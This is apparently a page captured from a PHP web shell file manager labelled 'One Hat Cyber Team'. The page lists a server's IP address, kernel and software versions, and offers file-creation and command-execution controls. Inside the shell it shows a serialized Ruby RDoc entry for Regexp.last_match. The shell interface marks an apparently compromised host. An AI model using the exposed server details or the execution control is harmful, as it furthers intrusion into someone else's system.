⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
2.7.0
/
system
/
Regexp
/
View File Name :
last_match-c.ri
U:RDoc::AnyMethod[iI"last_match:ETI"Regexp::last_match;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [ I"BThe first form returns the MatchData object generated by the ;TI"Nlast successful pattern match. Equivalent to reading the special global ;TI"Jvariable <code>$~</code> (see Special global variables in Regexp for ;TI"details).;To:RDoc::Markup::BlankLine o; ; [I"LThe second form returns the <i>n</i>th field in this MatchData object. ;TI"@_n_ can be a string or symbol to reference a named capture.;T@o; ; [I"MNote that the last_match is local to the thread and method scope of the ;TI"'method that did the pattern match.;T@o:RDoc::Markup::Verbatim; [I"#/c(.)t/ =~ 'cat' #=> 0 ;TI":Regexp.last_match #=> #<MatchData "cat" 1:"a"> ;TI"'Regexp.last_match(0) #=> "cat" ;TI"%Regexp.last_match(1) #=> "a" ;TI"%Regexp.last_match(2) #=> nil ;TI" ;TI"4/(?<lhs>\w+)\s*=\s*(?<rhs>\w+)/ =~ "var = val" ;TI"NRegexp.last_match #=> #<MatchData "var = val" lhs:"var" rhs:"val"> ;TI"'Regexp.last_match(:lhs) #=> "var" ;TI"&Regexp.last_match(:rhs) #=> "val";T:@format0: @fileI" re.c;T:0@omit_headings_from_table_of_contents_below0I"QRegexp.last_match -> matchdata Regexp.last_match(n) -> str ;T0[ I"(*args);T@&FI"Regexp;TcRDoc::NormalClass00